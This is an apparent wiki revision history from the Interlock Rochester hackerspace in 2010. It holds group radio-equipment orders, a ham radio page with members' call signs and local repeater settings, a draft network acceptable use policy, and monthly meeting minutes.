|-
| [[user:Berticus|Beardicus]] || SMA - SO239 Adapter || $5
|-
| [[user:Dhraakellian|Nick]] || 1700mAh Battery || $24
|-
| [[user:Dhraakellian|Nick]] || Dual Slot Charger || $24
|-
| [[user:Dhraakellian|Nick]] || 12v Car Charger || $10
|-
| [[user:Dhraakellian|Nick]] || Speaker Mic || $14
|-
| [[user:Dhraakellian|Nick]] || SMA - SO239 Adapter || $5
|-
| [[user:Ben Woodruff|Ben]] || 1700mAh Battery || $24
|-
| [[user:Ben Woodruff|Ben]] || KG-UV2D (2M/440) ** || $107
|-
| ''Total'' || || $368
|}

{|
| Name || $$
|-
| [[user:Berticus|Beardicus]] || $160
|-
| [[user:Dhraakellian|Nick]] || $77
|-
| [[user:Ben Woodruff|Ben]] || $133 *
| ''Total'' || $368
|}

** Reliant on someone buying my KG-UVD1P

Group Orders

2010-09-10T16:24:19Z

Ben Woodruff: /* Wouxon */

=Adafruit=

The group can get up to 40% off items at adafruit.com (usually about 10% though). Orders should be over $250 (after discount).

{|
| Name || Item Description & ID || List Price
|-
| Blah || Blah || $11.11
|}
Total(not including discount): $11.11

=[http://wouxun.us/Pricing.html Wouxon]=
{|
| Name || Item Description & ID || List Price
|-
| [[user:Berticus|Beardicus]] || KG-UV2D (2M/440)|| $107
|-
| [[user:Berticus|Beardicus]] || 1700mah Battery || $24
|-
| [[user:Berticus|Beardicus]] || Dual Slot Charger || $24
|-
| [[user:Berticus|Beardicus]] || SMA - SO239 Adapter || $5
|-
| [[user:Dhraakellian|Nick]] || 1700mAh Battery || $24
|-
| [[user:Dhraakellian|Nick]] || Dual Slot Charger || $24
|-
| [[user:Dhraakellian|Nick]] || 12v Car Charger || $10
|-
| [[user:Dhraakellian|Nick]] || Speaker Mic || $14
|-
| [[user:Dhraakellian|Nick]] || SMA - SO239 Adapter || $5
|-
| [[user:Ben Woodruff|Ben]] || 1700mAh Battery || $24
|-
| [[user:Ben Woodruff|Ben]] || KG-UV2D (2M/440) ** || $107
|-
| ''Total'' || || $368
|}

{|
| Name || $$
|-
| [[user:Berticus|Beardicus]] || $160
|-
| [[user:Dhraakellian|Nick]] || $77
|-
| [[user:Ben Woodruff|Ben]] || $133 *
| ''Total'' || $368
|}

** Reliant on someone buying my KG-UVD1P

Amateur radio

2010-09-10T16:20:01Z

Ben Woodruff: /* who we are */

== who we are ==
Interlock has a number of licensed ham radio operators including:
* [[User:Justbill | Bill]], KC2YPJ (General)
* [[User:Ben_Woodruff | Ben]], N0BDW
* [[User:Dhraakellian | Nick]], KC2YTG
* [[User:IGadget | Rowan]], KC2KPI (General)
* [[User:Fvox13 | Steve]], KC2YTC
* [[User:Berticus | Brian]], KC2VVD (Inactive)
* [[User:Butterb | John]], N2PMP (Extra -- almost Superfluous)
* [[User:alvarop | Alvaro]], KC2VVE
* [[User:BinaryMan | Chris]], KC2YWT

== what we do ==
We generally hang out on the Xerox repeater, KE2MK/R, as it is one of the few repeaters we are able to work on 2M/440 from rubber duck antennas on HTs from inside Interlock. We also occasionally use the Harris repeater.

As of late the XARC repeater has been having some difficulties and so we are hanging out on MCARES/N2MPE (146.61) until the issues are resolved. Ben sent an email to some of the XARCers to see if there was anything we could do to help on 9/10/10.

=== MCARES Repeater ===
* Output: 146.610
* Input: 146.010 (negative offset)
* TX PL 110.9 (no RX PL)
* No Echolink / IRLP but does have multiple receivers around Monroe County
* Call sign is N2MPE, only IDs in morse. No roger beep. Control Op is Tony DiLettera from Radio Center.

=== Xerox ARC Repeater ===
* Output: 145.29 (you listen on this frequency)
* Input: 144.69 (you transmit on this frequency) - negative offset
* Output: 444.825
* Input: 449.825 - positive offset
* No PL tone required for TX but recommend RX PL 110.9 if you have a lot of RFI
* Echolink node #44856

=== Harris Repeater ===
* Output: 444.400
* Input: 449.400 - positive offset
* TX PL 110.9

=== Interlock Simplex ===
* Frequency: 442.420 (no PL)
* Note: this frequency is outside the normal step for 70cm, so you make have to do something funky to get your radio to tune it (like change your step for 70cm to 5Hz)
* Ben will occasionally crossband repeat to/from one of the local repeaters (usually MCARES, see above) on this frequency so that those in the space can take advantage of the higher power transmitter. Please be careful to make sure this is not the case before attempting to use this as a simplex frequency.

Xerox used to be Echolink enabled but is no longer. JD used to run Echolink on it over RF and may allow Interlock to run a similar setup, once we have an antenna. Information is flowing slowly on this though.

None of our official unofficial repeaters support IRLP. Some of the other local repeaters do. If you are interested in IRLP, check out this site for a brief introduction on how to use it: http://k3bay.com/html/irlp.php

== projects ==
=== antenna building ===
We have ordered the parts needed to build [http://home.comcast.net/~buck0/ll_coolj.html 2-meter j-pole antennas]. We will be assembling them next Make Night, Thursday July 8th.
Update: Antenna make night was a success. Thanks to all who attended. Please watch for similar events in the future!

=== [[roof antenna]] ===
We have permission from Maguire to install an antenna on the roof as long as it is free-standing (ie, we don't bolt it to the roof). Also, the feed line can't whip in the wind or whack up against the building (so it needs to be secured somehow -- conduit?).

=== [[rochester repeater guide]] ===

Amateur radio

2010-09-10T16:18:53Z

Ben Woodruff: /* Interlock Simplex */

== who we are ==
interlock has a number of licensed ham radio operators including:
* [[User:Justbill | Bill]], KC2YPJ
* [[User:Ben_Woodruff | Ben]], N0BDW
* [[User:Dhraakellian | Nick]], KC2YTG
* [[User:IGadget | Rowan]], KC2KPI (General)
* [[User:Fvox13 | Steve]], KC2YTC
* [[User:Berticus | Brian]], KC2VVD (Inactive)
* [[User:Butterb | John]], N2PMP (Extra -- almost Superfluous)
* [[User:alvarop | Alvaro]], KC2VVE
* [[User:BinaryMan | Chris]], KC2YWT

== what we do ==
We generally hang out on the Xerox repeater, KE2MK/R, as it is one of the few repeaters we are able to work on 2M/440 from rubber duck antennas on HTs from inside Interlock. We also occasionally use the Harris repeater.

As of late the XARC repeater has been having some difficulties and so we are hanging out on MCARES/N2MPE (146.61) until the issues are resolved. Ben sent an email to some of the XARCers to see if there was anything we could do to help on 9/10/10.

=== MCARES Repeater ===
* Output: 146.610
* Input: 146.010 (negative offset)
* TX PL 110.9 (no RX PL)
* No Echolink / IRLP but does have multiple receivers around Monroe County
* Call sign is N2MPE, only IDs in morse. No roger beep. Control Op is Tony DiLettera from Radio Center.

=== Xerox ARC Repeater ===
* Output: 145.29 (you listen on this frequency)
* Input: 144.69 (you transmit on this frequency) - negative offset
* Output: 444.825
* Input: 449.825 - positive offset
* No PL tone required for TX but recommend RX PL 110.9 if you have a lot of RFI
* Echolink node #44856

=== Harris Repeater ===
* Output: 444.400
* Input: 449.400 - positive offset
* TX PL 110.9

=== Interlock Simplex ===
* Frequency: 442.420 (no PL)
* Note: this frequency is outside the normal step for 70cm, so you make have to do something funky to get your radio to tune it (like change your step for 70cm to 5Hz)
* Ben will occasionally crossband repeat to/from one of the local repeaters (usually MCARES, see above) on this frequency so that those in the space can take advantage of the higher power transmitter. Please be careful to make sure this is not the case before attempting to use this as a simplex frequency.

Xerox used to be Echolink enabled but is no longer. JD used to run Echolink on it over RF and may allow Interlock to run a similar setup, once we have an antenna. Information is flowing slowly on this though.

None of our official unofficial repeaters support IRLP. Some of the other local repeaters do. If you are interested in IRLP, check out this site for a brief introduction on how to use it: http://k3bay.com/html/irlp.php

== projects ==
=== antenna building ===
We have ordered the parts needed to build [http://home.comcast.net/~buck0/ll_coolj.html 2-meter j-pole antennas]. We will be assembling them next Make Night, Thursday July 8th.
Update: Antenna make night was a success. Thanks to all who attended. Please watch for similar events in the future!

=== [[roof antenna]] ===
We have permission from Maguire to install an antenna on the roof as long as it is free-standing (ie, we don't bolt it to the roof). Also, the feed line can't whip in the wind or whack up against the building (so it needs to be secured somehow -- conduit?).

=== [[rochester repeater guide]] ===

Amateur radio

2010-09-10T16:15:46Z

Ben Woodruff:

== who we are ==
interlock has a number of licensed ham radio operators including:
* [[User:Justbill | Bill]], KC2YPJ
* [[User:Ben_Woodruff | Ben]], N0BDW
* [[User:Dhraakellian | Nick]], KC2YTG
* [[User:IGadget | Rowan]], KC2KPI (General)
* [[User:Fvox13 | Steve]], KC2YTC
* [[User:Berticus | Brian]], KC2VVD (Inactive)
* [[User:Butterb | John]], N2PMP (Extra -- almost Superfluous)
* [[User:alvarop | Alvaro]], KC2VVE
* [[User:BinaryMan | Chris]], KC2YWT

== what we do ==
We generally hang out on the Xerox repeater, KE2MK/R, as it is one of the few repeaters we are able to work on 2M/440 from rubber duck antennas on HTs from inside Interlock. We also occasionally use the Harris repeater.

As of late the XARC repeater has been having some difficulties and so we are hanging out on MCARES/N2MPE (146.61) until the issues are resolved. Ben sent an email to some of the XARCers to see if there was anything we could do to help on 9/10/10.

=== MCARES Repeater ===
* Output: 146.610
* Input: 146.010 (negative offset)
* TX PL 110.9 (no RX PL)
* No Echolink / IRLP but does have multiple receivers around Monroe County
* Call sign is N2MPE, only IDs in morse. No roger beep. Control Op is Tony DiLettera from Radio Center.

=== Xerox ARC Repeater ===
* Output: 145.29 (you listen on this frequency)
* Input: 144.69 (you transmit on this frequency) - negative offset
* Output: 444.825
* Input: 449.825 - positive offset
* No PL tone required for TX but recommend RX PL 110.9 if you have a lot of RFI
* Echolink node #44856

=== Harris Repeater ===
* Output: 444.400
* Input: 449.400 - positive offset
* TX PL 110.9

=== Interlock Simplex ===
* Frequency: 442.420 (no PL)
* Note: this frequency is outside the normal step for 70cm, so you make have to do something funky to get your radio to tune it (like change your step for 70cm to 5Hz)

Xerox is (potentially? contacted Xerox ARC 8/10 to confirm) Echolink enabled. None of our official unofficial repeaters support IRLP. Some of the other local repeaters do. If you are interested in IRLP, check out this site for a brief introduction on how to use it: http://k3bay.com/html/irlp.php

== projects ==
=== antenna building ===
We have ordered the parts needed to build [http://home.comcast.net/~buck0/ll_coolj.html 2-meter j-pole antennas]. We will be assembling them next Make Night, Thursday July 8th.
Update: Antenna make night was a success. Thanks to all who attended. Please watch for similar events in the future!

=== [[roof antenna]] ===
We have permission from Maguire to install an antenna on the roof as long as it is free-standing (ie, we don't bolt it to the roof). Also, the feed line can't whip in the wind or whack up against the building (so it needs to be secured somehow -- conduit?).

=== [[rochester repeater guide]] ===

Amateur radio

2010-09-10T16:13:09Z

Ben Woodruff: /* what we do */

== who we are ==
interlock has a number of licensed ham radio operators including:
* [[User:Justbill | Bill]], KC2YPJ
* [[User:Ben_Woodruff | Ben]], N0BDW
* [[User:Dhraakellian | Nick]], KC2YTG
* [[User:IGadget | Rowan]], KC2KPI (General)
* [[User:Fvox13 | Steve]], KC2YTC
* [[User:Berticus | Brian]], KC2VVD (Inactive)
* [[User:Butterb | John]], N2PMP (Extra -- almost Superfluous)
* [[User:alvarop | Alvaro]], KC2VVE
* [[User:BinaryMan | Chris]], KC2YWT

== what we do ==
We generally hang out on the Xerox repeater, KE2MK/R, as it is one of the few repeaters we are able to work on 2M/440 from rubber duck antennas on HTs from inside Interlock. We also occasionally use the Harris repeater.

As of late the XARC repeater has been having some difficulties and so we are hanging out on MCARES/N2MPE (146.61) until the issues are resolved. Ben sent an email to some of the XARCers to see if there was anything we could do to help on 9/10/10.

== MCARES Repeater ===
* Output: 146.610
* Input: 146.010 (negative offset)
* TX PL 110.9 (no RX PL)
* No Echolink / IRLP but does have multiple receivers around Monroe County
* Call sign is N2MPE, only IDs in morse. Control Op is Tony DiLettera from Radio Center.

=== Xerox ARC Repeater ===
* Output: 145.29 (you listen on this frequency)
* Input: 144.69 (you transmit on this frequency) - negative offset
* Output: 444.825
* Input: 449.825 - positive offset
* No PL tone required for TX but recommend RX PL 110.9 if you have a lot of RFI
* Echolink node #44856

=== Harris Repeater ===
* Output: 444.400
* Input: 449.400 - positive offset
* TX PL 110.9

=== Interlock Simplex ===
* Frequency: 442.420 (no PL)
* Note: this frequency is outside the normal step for 70cm, so you make have to do something funky to get your radio to tune it (like change your step for 70cm to 5Hz)

Xerox is (potentially? contacted Xerox ARC 8/10 to confirm) Echolink enabled. None of our official unofficial repeaters support IRLP. Some of the other local repeaters do. If you are interested in IRLP, check out this site for a brief introduction on how to use it: http://k3bay.com/html/irlp.php

== projects ==
=== antenna building ===
We have ordered the parts needed to build [http://home.comcast.net/~buck0/ll_coolj.html 2-meter j-pole antennas]. We will be assembling them next Make Night, Thursday July 8th.
Update: Antenna make night was a success. Thanks to all who attended. Please watch for similar events in the future!

=== [[roof antenna]] ===
We have permission from Maguire to install an antenna on the roof as long as it is free-standing (ie, we don't bolt it to the roof). Also, the feed line can't whip in the wind or whack up against the building (so it needs to be secured somehow -- conduit?).

=== [[rochester repeater guide]] ===

Network acceptable use policy

2010-09-08T03:21:19Z

Ben Woodruff:

=Network Acceptable Use Policy=

(This is a draft and has not been approved by legal council)

== Preamble ==
The rules that comprise this Code of Conduct apply to all areas of computer use at Interlock Rochester, including all computers, storage devices, networks, and network devices owned or managed by Interlock Rochester, including any for which Interlock Rochester contracts with a third party. The [[network infrastructure group]] is responsible for publishing, and in concert with members of the Interlock Rochester community, enforcing this Code.

A variety of computer resources are currently available at Interlock Rochester, from local area networks that provide access to PC, Mac, and *nix based software, to wide area networks such as the Internet. All users are required to follow this Code of Conduct when using these resources.

Any information stored on Interlock Rochester computers, or with third party providers under contract by the group, may be stored digitally in multiple live and backup sources and, aside from the usual difficulties of guaranteeing confidentiality, is always subject to "discovery" by means of subpoena. Although the group may seek appropriate legal counsel, users should assume that the group will cooperate with outside agencies investigating violations of local, state, or federal law, including but not limited to copyright infringement, child pornography, or other illegal content.

Violation of the Code can lead to:
* Suspension of membership privileges
* Criminal Prosecution

==Rules of Conduct==
===All Networks===
* You may not give out your password.
* You may not let another person use your account.
* You may not copy, retain, or distribute copyrighted or proprietary material without written consent of the copyright holder.
* Individuals who store sensitive or confidential information on their computers are accountable for that information and must make sure the appropriate security (encryption, etc.) is in place.
* Interlock Rochester reserves the right to remove any technical resource (computers, software, network devices, etc.) that it deems a security or network risk
* Interlock Rochester takes no responsibility for damage caused to personally owned equipment.

===Production and Project Networks===
* You may not possess or attempt to possess another user's password
* You may not use false or misleading identification to gain access to any computing resource.
* You may not use any computing resource that you are not authorized to use.
* You may not use an account for any purpose other than that for which you are authorized.
* You may not change, copy, delete, read or otherwise access files or software without permission of the owner (in the case of user files) or system administrator (in the case of system specific files).
* You may not attempt to prevent others from accessing any computing resource.
* You may not attempt to bypass accounting or security mechanisms, or attempt to circumvent protection schemes or uncover security loopholes. If you find a security loophole, you are required to report it to the network infrastructure group immediately.
* You may not use any Interlock Rochester computing resource, including the network itself, to attack, disable, or gain unauthorized access to any other computing resource either on or off the Interlock Rochester network.
* All personally owned equipment connected to the Interlock Rochester network is the responsibility of the owner of that equipment. We strongly encourage you to be running an effective and currently updated anti-virus software package and have all operating system patches installed.
* You may not attempt to compromise the privacy of others. This includes, but is not limited to, the installation of traffic sniffers, key loggers, etc. or any other hardware or software designed to capture information which you are not authorized to have without the consent of the network infrastructure group.

==Web Access Policy==
The Production and Project networks shall have internet access. The Warzone network may or may not have internet access that may or may not be filtered. Regardless of network, the following rules apply:
* Use of the Internet for any unlawful purpose is prohibited. This includes, but is not limited to:
** posting, storing, transmitting or disseminating information, data or material which is libelous, obscene, unlawful, threatening or defamatory, or which infringes the intellectual property rights of any person or entity, or which in any way constitutes or encourages conduct that would constitute a criminal offense, or otherwise violate any local, state, federal, or non-U.S. law, order, or regulation;
** initiate, perpetuate, or in any way participate in any pyramid or other illegal scheme;
** participate in the collection of e-mail addresses, screen names, or other identifiers of others (without their prior consent);
** transmission of child pornography
* No Production Servers are allowed, with the exception of official Interlock Rochester services.

==Data Retention Policy==
Interlock Rochester does not intentionally maintain any meaningful records about network users or computers and their associated network traffic unless compelled to do so by a legal order. Any data that is collected for network diagnostic or educational purposes is destroyed as soon as the diagnostic or educational session is complete. The only semi-permanent records we may opt to maintain are:
* DHCP records (stored for the duration of the DHCP lease)
** This includes a correlation between a MAC address and IP address
* Captive Portal Registration
** These records may include a correlation between a user account and an associated MAC address
* Door access logs
** Correlation between a user account and when they unlocked the door to our 1115 Main St E location

* Records containing member contact information and emergency contact information may be stored electronically and made available to other members of Interlock Rochester.
* Information about current membership status may be made available to 3rd parties in the form of a true / false response when queried by a unique identifier.

Traffic sniffing and logging is allowed on the "warzone" network, however Interlock Rochester itself makes no attempt to maintain these records.

We reserve the right to collect and analyze traffic on Interlock Rochester networks for the purpose of diagnosing and troubleshooting network and bandwidth issues.

[[category:policies]]

Network acceptable use policy

2010-09-08T03:12:35Z

Ben Woodruff:

=Network Acceptable Use Policy=

(This is a draft and has not been approved by legal council)

== Preamble ==
The rules that comprise this Code of Conduct apply to all areas of computer use at Interlock Rochester, including all computers, storage devices, networks, and network devices owned or managed by Interlock Rochester, including any for which Interlock Rochester contracts with a third party. The [[network infrastructure group]] is responsible for publishing, and in concert with members of the Interlock Rochester community, enforcing this Code.

A variety of computer resources are currently available at Interlock Rochester, from local area networks that provide access to PC, Mac, and *nix based software, to wide area networks such as the Internet. All users are required to follow this Code of Conduct when using these resources.

Any information stored on Interlock Rochester computers, or with third party providers under contract by the group, may be stored digitally in multiple live and backup sources and, aside from the usual difficulties of guaranteeing confidentiality, is always subject to "discovery" by means of subpoena. Although the group may seek appropriate legal counsel, users should assume that the group will cooperate with outside agencies investigating violations of local, state, or federal law, including but not limited to copyright infringement, child pornography, or other illegal content.

Violation of the Code can lead to:
* Suspension of membership privileges
* Criminal Prosecution

==Rules of Conduct==
===All Networks===
* You may not give out your password.
* You may not let another person use your account.
* You may not copy, retain, or distribute copyrighted or proprietary material without written consent of the copyright holder.
* Individuals who store sensitive or confidential information on their computers are accountable for that information and must make sure the appropriate security (encryption, etc.) is in place.
* Interlock Rochester reserves the right to remove any technical resource (computers, software, network devices, etc.) that it deems a security or network risk
* Interlock Rochester takes no responsibility for damage caused to personally owned equipment.

===Production and Project Networks===
* You may not possess or attempt to possess another user's password
* You may not use false or misleading identification to gain access to any computing resource.
* You may not use any computing resource that you are not authorized to use.
* You may not use an account for any purpose other than that for which you are authorized.
* You may not change, copy, delete, read or otherwise access files or software without permission of the owner (in the case of user files) or system administrator (in the case of system specific files).
* You may not attempt to prevent others from accessing any computing resource.
* You may not attempt to bypass accounting or security mechanisms, or attempt to circumvent protection schemes or uncover security loopholes. If you find a security loophole, you are required to report it to the network infrastructure group immediately.
* You may not use any Interlock Rochester computing resource, including the network itself, to attack, disable, or gain unauthorized access to any other computing resource either on or off the Interlock Rochester network.
* All personally owned equipment connected to the Interlock Rochester network is the responsibility of the owner of that equipment. We strongly encourage you to be running an effective and currently updated anti-virus software package and have all operating system patches installed.
* You may not attempt to compromise the privacy of others. This includes, but is not limited to, the installation of traffic sniffers, key loggers, etc. or any other hardware or software designed to capture information which you are not authorized to have without the consent of the network infrastructure group.

==Web Access Policy==
The Production and Project networks shall have internet access. The Warzone network may or may not have internet access that may or may not be filtered. Regardless of network, the following rules apply:
* Use of the Internet for any unlawful purpose is prohibited. This includes, but is not limited to:
** posting, storing, transmitting or disseminating information, data or material which is libelous, obscene, unlawful, threatening or defamatory, or which infringes the intellectual property rights of any person or entity, or which in any way constitutes or encourages conduct that would constitute a criminal offense, or otherwise violate any local, state, federal, or non-U.S. law, order, or regulation;
** initiate, perpetuate, or in any way participate in any pyramid or other illegal scheme;
** participate in the collection of e-mail addresses, screen names, or other identifiers of others (without their prior consent);
** transmission of child pornography
* No Production Servers are allowed, with the exception of official Interlock Rochester services.

==Data Retention Policy==
Interlock Rochester does not intentionally maintain any meaningful records about network users or computers and their associated network traffic unless compelled to do so by a legal order. Any data that is collected for network diagnostic or educational purposes is destroyed as soon as the diagnostic or educational session is complete. The only semi-permanent records we may opt to maintain are:
* DHCP records (stored for the duration of the DHCP lease)
** This includes a correlation between a MAC address and IP address
* Captive Portal Registration
** These records may include a correlation between a user account and an associated MAC address
* Door access logs
** Correlation between a user account and when they unlocked the door to our 1115 Main St E location

Traffic sniffing and logging is allowed on the "warzone" network, however Interlock Rochester itself makes no attempt to maintain these records.

We reserve the right to collect and analyze traffic on Interlock Rochester networks for the purpose of diagnosing and troubleshooting network and bandwidth issues.

[[category:policies]]

Meetings

2010-09-02T17:39:31Z

Ben Woodruff: /* Consent Agenda */

= Minutes =
See [[MIBS_Simplified_Rules_of_Coordinated_Consensus_through_Chaos#The_Meeting_Agenda]] for agenda template

== September 7, 2010 ==
=== Agenda ===
# Approve draft minutes of the last meeting
# Consent Agenda
## Network AUP
# Officer Reports
## [[President]]
## [[Vice-President]]
## Treasurer
## Secretary
# [[Member Reports]]
# Adjournment

=== Minutes ===
Attendance:

==== Initialization ====

==== Officer Reports ====

==== Member Reports ====

==== Consent Agenda ====

* Network AUP has been written, is in need of approval and inclusion in the membership agreement. Everyone must sign in order to have access to network resources.
* Mutual discount on membership with Coworking

==== New Business ====

==== Adjournment ====

== August 3, 2010 ==
=== Agenda ===
# Approve draft minutes of the last meeting
# Consent Agenda
## Move Septembers meeting to 8:00 PM
# Officer Reports
## [[President]]
## [[Vice-President]]
## Treasurer
## Secretary
# [[Member Reports]]
# Adjournment

=== Minutes ===
Attendance: Bill, Wayne, Nick, Ben, Brian, Mark, Joe, and Carl

==== Initialization ====
19:10

==== Officer Reports ====
President - See link above

Vice President - See link above

Treasurer - Members late with monies: 3, members 30+ days late: 3, members 60+ days late: 2. Reminders sent to all, door shutoff for 30+ and removed as member 60+. Please pay and email Treasurer if any issue. 11 members paid (10 regular and 1 student).

Secretary - Proud Mary 19:11

==== Member Reports ====

Carl - Informed group about the fairly busy Linux workshop this past weekend. Several helpers and people showed up to learn and install linux. Needed someone to make sure that Linux Workshop doors need to be open Aug 21st buy a member. JustBill volunteered. He is also thinking of setting up one of the Make Nights to do build your own NAS installs - more info to follow on mailing list. Carl has also volunteered to teach a basic electronics class after the upcoming Processing/Arduino class mentioned on the mailing list.

Joe - LUGOR will be starting their meetings soon. See Joe for details.

==== Consent Agenda ====

Due to upcoming Processing/Arduino class it was proposed to group to have Septembers Board meeting at 8:00 as to not interfere with the class. Nobody objected. Motion passed.

==== New Business ====

Just a reminder that there is an upcoming 5 week class on Processing and Arduino. Many members have expressed interest and will be doing the class. More info [http://training.oreilly.com/arduino/] . See you there.

==== Adjournment ====

19:28

== July 5, 2010 ==
=== Agenda ===
# Approve draft minutes of the last meeting
# Consent Agenda
## Renew our Meetup.com service at $72 for six more months
## Reimburse Beardicus for non-pre-ordered Interlock t-shirts (less than ten at the moment) and hold in "inventory" for future sale.
# Officer Reports
## [[President]]
## [[Vice-President]]
## Treasurer
## Secretary
# [[Member Reports]]
# Adjournment

=== Minutes ===

==== Members Present ====
Attendance: Carl, Mark, Ben, Brian, Wayne, Nick, Bill

==== Initialization ====
19:45

==== Officer Reports ====
President - He made a summary of Interlock updates. We were at FOSSCON and held a table.

Vice President - [[Vice-President#Officer_Report_7.2F6.2F2010| see report]]

Treasurer - Multiple finances discussed. More detailed report to follow but it was about income, members, and total expenditures.

Secretary - Hi My name is "Just"Bill and I'm the new secretary till next voting cycle. Please forgive me for any of my mistakes.

==== Member Reports ====

Nick - Just wanted to announce that BinaryMan (Chris) received his HAM technical license.

==== Consent Agenda ====

Moved to new business due to Treasurers report

==== New Business ====

# Renew Meetup.com - Mark will float the cost and the Interlock will keep an open purchase order for reimbursement until fund get more soluble.
# Reimbursement for T-Shirts. Same as #1 will keep open purchase order until funds are more available. Brian will fund until then.

==== Adjournment ====

20:06

== June 1, 2010 ==
=== Agenda ===
# Approve draft minutes of the last meeting
# Officer Reports
## [[President]]
## [[Vice-President]]
## Treasurer
# [[Member Reports]]
# Adjournment

=== Minutes ===

==== Members Present ====
Attendance: Carl, Nick, Mark, Brian, Steve, Bill, Ben, Wayne

==== Initialization ====
President starts the meeting at 7:15. Minutes from last meeting are approved.

==== Officer Reports ====
[[President]] gives his report (linked)
[[Vice-President]] gives his report (linked)

==== Member Reports ====
Steve gives a member report on an intranet portal he's developing for Interlock... wikis, blogs, files, events (and much much more!)

==== Adjournment ====
Meeting adjourns at 7:30.

=== Addition ===
Change in officers. Alan Dipert and Ashley McClelland have left the organzation. Brian Boucheron is the new president. We are still looking for a Secretary.

== May 4, 2010 ==
=== Agenda ===
# Approve draft minutes of the last meeting
# The Consent Agenda
## Approve the [http://www.interlockroc.org/wiki/index.php?title=Bylaws&oldid=1169 bylaws]
# Officer Reports
## [[President]]
## [[Vice-President]]
# [[Member Reports]]
# [[Old Business]]
# [[New Business]]
# Adjournment

=== Minutes ===

==== Members Present ====
Brian, Alan, Ashley, Mark, Alvaro, Carl, Ben, Steve, Nick, Rowan, Jim, Wayne

==== Initialization ====
President starts the meeting at 7:08. Last meeting's draft minutes were approved.

==== Consent Agenda ====
No objections.

==== Officer Reports ====
[[President]] gives his report (linked)

[[Vice-President]] gives his report (linked)

The Treasurer gives her report. Membership is down 1 from last month, expenses are as per usual.

==== Member Reports ====
Carl mentions the Linux workshops for the next two months (see the calendar)

==== Adjournment ====
Meeting adjourns at 7:26.

== April 20, 2010 (Special Meeting) ==
=== Agenda ===
# The Consent Agenda
## Approve [[petty cash budget]]
# [[Officer Reports]]
## [[President]]
## [[Vice-president]]
## [[Treasurer]]
## [[Secretary]]
# [[Member Reports]]
# [[Old Business]]
# [[New Business]]
# Adjournment

=== Minutes ===

Members in attendance: Brian, Mark, Ashley, Alan, Joe, Jim, Rowan, Carl,

President starts the meeting at 7:10

==== Consent Agenda ====
Consent agenda passes without objection.

==== Adjournment ====
Meeting is adjourned.

== April 6, 2010 ==

=== Agenda ===

# Draft minutes of the last meeting
# The Consent Agenda
## Special meeting, April 20th to discuss improving [[Recruitment|recruitment]], modifying our [[Budget|budget]], improving our [[Finances|finances]].
## Approve [[Bylaws]]
## Approve [[Membership Agreement]]
# [[Officer Reports]]
## [[President]]
## [[Vice-president]]
## [[Treasurer]]
### Approve [[Budget]]
## [[Secretary]]
# [[Member Reports]]
# [[Old Business]]
# [[New Business]]
## [[Hospitality budget]]
## [[Cleaning supplies]]
## [[Hacker of The Month|Hacker of the Month]] Funds
## [[Inventory]]
# Adjournment

=== Minutes ===
Members Present: Brian, Mark, Steven, Carl, Ben, Nick, Alvaro, Rowan, Alan, Ashley, Tim

The president begins the meeting at 7:08

Minutes from the March 3 meeting are approved.

==== Consent Agenda ====
Joe objects to passing the bylaws. Moved to new business.
All other motions pass.

==== Officer Reports ====
[[President]] gives his report (Linked)
[[Vice-President]] gives his report (Linked)

Treasurer gives her report on the state of our funds and membership. Budget can be viewed at the Google Docs site.

Secretary has nothing to report

==== Member Reports ====
Rowan reports on the IP web camera and LV jack boxes.

Tim reports on networking. Network will be complete by 4/7/2010, minus boxes for jack.

==== Old Business ====
NULL

==== New Business ====
* Bylaws
The issue stated is that the bylaws don't make it clear what the powers of the board of directors vs. the membership. Language is proposed to make this clearer.

Rowan brings up a concern about term limits for board of directors and officers.

Joe proposes that the board members be given some power for action between meetings.

Bylaws are not passed and are deferred to the next regular meeting.

* Hospitality budget is discussed, but not passed. Summary is that $20 would be budgeted each month for First Friday supplies and other essentials. Details will be provided at later meeting.

==== Adjournment ====
Meeting is adjourned at 7:53

== March 9, 2010 ==
Lightning Talks:

Signed Up: Alan(Machines that think), Alvaro(Orienteering, Remote Backup), Andrei(Contemporary Art), Ashley(Learning Programming), Beardicus(Wee Booklet), Ben(irssi+screen), Carl(Cat5, Soldering), Jason(Low Impact Local Network Recon), Justin(Go, XSS/XSRF Demo), Joe(Pymol Molecular Viewer), Mark(XSS/XSRF), Steve(Free Public Wifi), Remy(Open Video Chat Program team Intro)

== March 2, 2010 ==

Members Present: Brian, Mark, Ashley, Alan, Carl, Joe, Wayne, Nick, Ben, Steven

The president begins the meeting at 7:11.

=== Consent Agenda ===

NULL

=== Officer Reports ===

(Reports were provided orally, with no hardcopy transcriptions)

The President reports on the general status of the organization.

The Vice President gives an update on the status of the networking project.

The Secretary has nothing to report, and requests future officer reports be provided in writing for more comprehensive minutes.

The Treasurer has nothing to report this month.

=== Member Reports ===

Joe presents his knit n900 cozy and clues us in to virtualization plans for the space

Steven nominates himself safety dictator, explains plans to abuse his power

=== Old Business ===

NULL

=== New Business ===

NULL

=== Adjournment ===

TRUE

== February 23, 2010 ==
* Agenda
** Introductions
** Organization Updates
** Project Updates
** Open Announcements
*** Lightning Talks

== February 23, 2010 ==
* Agenda
** Introductions
** Organization Updates
*** Move in timeline
*** MIBS reminder
*** March 2nd first meeting
** Project Updates
** Open Announcements
*** Lightning Talks

== February 15, 2010 ==
* Agenda
** Introductions
** 15 Min MIBS review/walkthrough
** Organization Updates
** Project Updates
** Open Announcements

== February 9, 2010 ==
* Agenda
** 15 Min MIBS review
** Introductions
** Last Week Meeting Review
** Organization Updates
** Project Updates
** Open Announcements

== February 2, 2010 ==
* Agenda
** Introductions
** Last Week Meeting Review
** Organization Updates
*** Bank Account/Paypal
*** Meeting Changes
**** Consensus through Chaos
**** Official Meetings monthly but weekly open nights
**** Officer roles review
**** Voting Scenarios
** Project Updates
*** First Friday Organization
*** Door Security System
*** Other member projects
** Open Announcements

== January 26, 2010 ==
* Agenda
** Introductions
** Last Week Meeting Review
** Organization Updates
*** Bank Account
** Project Updates
*** Door/Security System
** Open Announcements
* Minutes
** Bank account: in motion. Waiting on some paper work
** Door project: learning about the ibuttons
** Sneyha: outreach meeting.
*** Need ideas for first friday
*** planning on a green screen
** RemyD: Who else comes out for first friday?
*** Sneyha: A ton of the people in the building
** Carmen: has a project related to inventoring computers
** Discussion about doing classes
** Alan: Haiti relief outreach
** Rowan: HAM radio group
** Alan: be kind on IRC
** RemyD: www.opensource.com - news portal for open source articles
** Sneha: wine tour
** RemyD: Stallman is coming to town on Feb 23
** Steve: Enable effing SSL on google apps!

== January 19, 2010 ==
* Agenda
** Introductions
** Last Week Meeting Review
** Organization Updates
*** Changes to bylaws
*** Changes to member agreement
** Project Updates
